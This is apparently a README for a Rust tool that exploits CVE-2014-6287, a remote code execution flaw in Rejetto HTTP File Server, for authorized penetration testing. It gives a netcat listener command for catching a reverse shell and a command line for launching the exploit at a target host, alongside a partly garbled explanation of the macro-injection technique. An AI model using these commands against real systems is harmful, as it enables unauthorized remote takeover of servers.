
A Rust implementation of the CVE-2014-6287 exploit targeting Rejetto HTTP File Server (HFS) versions 2.3x before 2.3c.
A Rust implementation of the CVE-2014-6287 exploit targeting Rejetto HTTP File Server (HFS) versions 2.3x before 2.3c.
CVE-2014-6287 is a critical remote code execution vulnerability in Rejetto HTTP File Server (HFS).
The findMacroMarker function in in Rejetto HTTP File Server allows remote attackers to execute arbitrary programs via a sequence in a search action. This vulnerability enables attackers to bypass input validation and inject malicious code that gets executed on the target system.
parserLib.pas%00The exploit works by:
%00){. and .}Before executing the exploit, set up a listener on your attacking machine to catch the reverse shell:
# Replace <LPORT> with your desired listening port
nc -lvnp <LPORT>
cargo run -- -l <LHOST> -p <LPORT> -r <RHOST> [-t <RPORT>]
-l, --lhost <LHOST>: Your local IP address (attacker machine)-p, --lport <LPORT>: Your local port for the reverse shell-r, --rhost <RHOST>: Target IP address (vulnerable HFS server)-t, --rport <RPORT>: Target port (default: 80)This tool is for educational and authorized penetration testing purposes only. Use responsibly and only on systems you own or have explicit permission to